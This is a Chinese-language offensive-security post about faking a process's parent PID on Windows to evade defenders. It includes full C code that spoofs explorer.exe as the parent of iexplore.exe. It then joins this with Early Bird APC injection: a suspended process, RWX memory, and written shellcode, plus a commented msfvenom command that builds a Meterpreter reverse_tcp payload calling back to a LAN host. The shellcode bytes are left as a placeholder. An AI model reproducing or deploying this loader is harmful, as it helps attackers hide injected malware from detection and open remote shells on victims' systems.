伪装PPID规避检测

UAC创建进程的过程的疑惑
在触发UAC时，操作系统会创建一个名为consent.exe的进程，该进程通过白名单和用户选择来确定是否提升权限。 请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数，该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口，这个UAC框会创建新的安全桌面，屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程，其他普通进程也无法和其进行通信交互。用户确认之后，会调用CreateProcessAsUser函数以管理员权限启动请求的进程。


触发UAC创建进程的过程中,我们可以知道实际上高权限的进程是由consent.exe进程创建的，但实际上父进程并非指向consent.exe任就是UAC发起者的进程ID，那么我们是否可以自己指定父进程，增加判断成本从而使蓝队脑阔疼。
父进程并非consent.exe
CreateProcessAsUser函数
最终创建函数的是由consent.exe调用的CreateProcessAsUser函数，那我们猜测是否是consent.exe调用时指定了某些参数，导致PPID的更换。
在官方文档中给出了如下原型:
1
BOOL CreateProcessAsUserA(
2
  HANDLE                hToken,
3
  LPCSTR                lpApplicationName,
4
  LPSTR                 lpCommandLine,
5
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
6
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
7
  BOOL                  bInheritHandles,
8
  DWORD                 dwCreationFlags,
9
  LPVOID                lpEnvironment,
10
  LPCSTR                lpCurrentDirectory,
11
  LPSTARTUPINFOA        lpStartupInfo,
12
  LPPROCESS_INFORMATION lpProcessInformation
13
);
Copied!
查询官方文档得知，如果在dwCreationFlags中EXTENDED_STARTUPINFO_PRESENT标准，那么lpStartupInfo传入的就会是一个名为STARTUPINFOEXA的结构体，而这个结构体能指定父进程的相关信息，最终传入的PPID会被写入到新进程_eprocess结构体的InheritedFromUniqueProcessId位置。
1
typedef struct _STARTUPINFOEXA {
2
  STARTUPINFOA                 StartupInfo;
3
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
4
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
Copied!
根据查询的文档,CreateProcess函数同样也支持STARTUPINFOEXA结构体。
伪装PPID创建iexplore.exe
寻找explorer.exe的pid
1
DWORD FindExplorerPID() {
2
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
3
    PROCESSENTRY32 process = { 0 };
4
    process.dwSize = sizeof(process);
5
​
6
    if (Process32First(snapshot, &process)) {
7
        do {
8
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
9
                break;
10
        } while (Process32Next(snapshot, &process));
11
    }
12
​
13
    CloseHandle(snapshot);
14
    return process.th32ProcessID;
15
}
Copied!
1
int main() {
2
​
3
    STARTUPINFOEXA siex = {0};
4
    SIZE_T Size;
5
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
6
​
7
    HANDLE hFake = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());
8
​
9
    InitializeProcThreadAttributeList(NULL, 1, 0, &Size);
10
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, Size);
11
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &Size);
12
​
13
    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hFake, sizeof(HANDLE), NULL, NULL);
14
    
15
​
16
    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, NULL);
17
    //PS:这里有个小坑，需要开启继承句柄
18
    return 0;
19
}
Copied!
与进程注入技术EARLYBIRD搭配使用
1
#include <stdio.h>
2
#include <windows.h>
3
#include <TlHelp32.h>
4
​
5
​
6
DWORD FindExplorerPID() {
7
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
8
    PROCESSENTRY32 process = { 0 };
9
    process.dwSize = sizeof(process);
10
​
11
    if (Process32First(snapshot, &process)) {
12
        do {
13
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
14
                break;
15
        } while (Process32Next(snapshot, &process));
16
    }
17
​
18
    CloseHandle(snapshot);
19
    return process.th32ProcessID;
20
}
21
​
22
int main() {
23
​
24
    //msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.109 EXITFUNC=thread -f
25
    unsigned char shellcode[] = ("XXX");
26
​
27
​
28
    STARTUPINFOEXA siex;
29
    PROCESS_INFORMATION piex;
30
    SIZE_T sizeT;
31
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
32
​
33
    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());
34
​
35
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
36
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
37
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &sizeT);
38
    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
39
    
40
​
41
    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, &piex);
42
​
43
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(piex.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
44
    WriteProcessMemory(piex.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
45
    QueueUserAPC((PAPCFUNC)lpBaseAddress, piex.hThread, NULL);
46
    ResumeThread(piex.hThread);
47
    CloseHandle(piex.hThread);
48
​
49
    return 0;
50
}
Copied!
github:https://github.com/idiotc4t/FakePPID​
LINKS
New ‘Early Bird’ Code Injection Technique
Information Security Newspaper | Hacking News
Programming reference for the Win32 API - Win32 apps
docsmsft
​

最近更新 2yr ago

复制链接

内容

UAC创建进程的过程的疑惑

CreateProcessAsUser函数

伪装PPID创建iexplore.exe

与进程注入技术EARLYBIRD搭配使用

LINKS